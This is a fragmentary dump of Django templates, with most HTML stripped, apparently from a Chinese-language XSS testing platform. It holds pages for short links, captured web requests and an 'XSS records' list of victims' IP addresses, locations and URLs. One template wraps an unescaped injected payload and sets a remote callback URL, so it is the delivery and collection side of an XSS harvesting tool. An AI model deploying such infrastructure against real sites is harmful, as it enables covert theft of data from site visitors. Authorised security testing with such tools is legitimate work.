13 |
14 | 15 |
16 |
我的短域名
17 |
18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | {% for object in object_list %} 31 | 32 | 33 | 34 | 35 | 36 | 42 | 43 | {% endfor %} 44 | 45 |
时间域名目标地址点击量管理
{{ object.created_time | date:"Y-m-d H:i:s" }}{{ object.get_absolute_url }}{{ object.target }}{{ object.click }} 37 | 编辑 39 | 41 |
46 |
47 |
48 | {% if is_paginated %} 49 |
50 |
51 | {% include 'pure_pagination/pagination-bootstrap.html' %} 52 |
53 |
54 |
55 | {% endif %} 56 |
57 | {% endblock %} -------------------------------------------------------------------------------- /templates/weblog/detail.html: -------------------------------------------------------------------------------- 1 | {% extends 'framework.html' %} 2 | {% load template_helper %} 3 | 4 | {% block subject %}Web记录详情{% endblock %} 5 | 6 | {% block content %} 7 |
8 |
9 |
10 | 11 | 12 | 13 | 16 | 17 | 18 | 19 | 22 | 23 | 24 | {% for k, v in object.headers.items %} 25 | 26 | 29 | 30 | 31 | {% endfor %} 32 | 33 |
14 | METHOD 15 | {{ object.method }}
20 | PATH 21 | {{ object.path }}
27 | {{ k }} 28 | {{ v }}
34 | {% if object.body %} 35 |
36 |
{{ object.body | remove_unobservable }}
37 |
38 | {% endif %} 39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 | {% if object.body %} 48 | 52 | {% endif %} 53 | 58 | {% csrf_token %} 59 |
60 |
61 |
62 | 返回 63 |
64 |
65 |
66 |
67 |
68 |
69 | {% endblock %} -------------------------------------------------------------------------------- /templates/weblog/list.html: -------------------------------------------------------------------------------- 1 | {% extends 'framework.html' %} 2 | 3 | {% block subject %}Web日志{% endblock %} 4 | 5 | {% block content %} 6 |
7 |
Web日志
8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | {% for object in object_list %} 22 | 23 | 24 | 25 | 26 | 27 | 28 | 34 | 35 | {% endfor %} 36 | 37 |
时间方法HostPathIP地址管理
{{ object.created_time | date:"Y-m-d H:i:s" }}{{ object.method }}{{ object.hostname }}{{ object.path }}{{ object.ip_addr }} 29 | 查看 31 | 刪除 33 |
38 |
39 | {% if is_paginated %} 40 |
41 |
42 | {% include 'pure_pagination/pagination-bootstrap.html' %} 43 |
44 |
45 |
46 | {% endif %} 47 |
48 | {% endblock %} -------------------------------------------------------------------------------- /templates/xss/js/template.jst: -------------------------------------------------------------------------------- 1 | {% include 'xss/js/co.js' %} 2 | {% if project %}window.co.api.remote = '{{ project.get_tz_url | escapejs }}'; 3 | (function(co){ 4 | {{ payload | safe }} 5 | })(window.co) 6 | {% endif %} -------------------------------------------------------------------------------- /templates/xss/victim/list.html: -------------------------------------------------------------------------------- 1 | {% extends 'framework.html' %} 2 | 3 | {% block subject %}XSS记录{% endblock %} 4 | 5 | {% block content %} 6 |
7 |
XSS记录
8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | {% for object in object_list %} 21 | 22 | 23 | 24 | 25 | 26 | 31 | 32 | {% endfor %} 33 | 34 |
时间IP地址地理位置URL管理
{{ object.created_time | date:"Y-m-d H:i:s" }}{{ object.ip_addr }}{{ object.location }}{{ object.url }} 27 | 查看 28 | 刪除 30 |
35 |
36 | {% if is_paginated %} 37 |
38 |
39 | {% include 'pure_pagination/pagination-bootstrap.html' %} 40 |
41 |
42 |
43 | {% endif %} 44 |
45 | {% endblock %} --------------------------------------------------------------------------------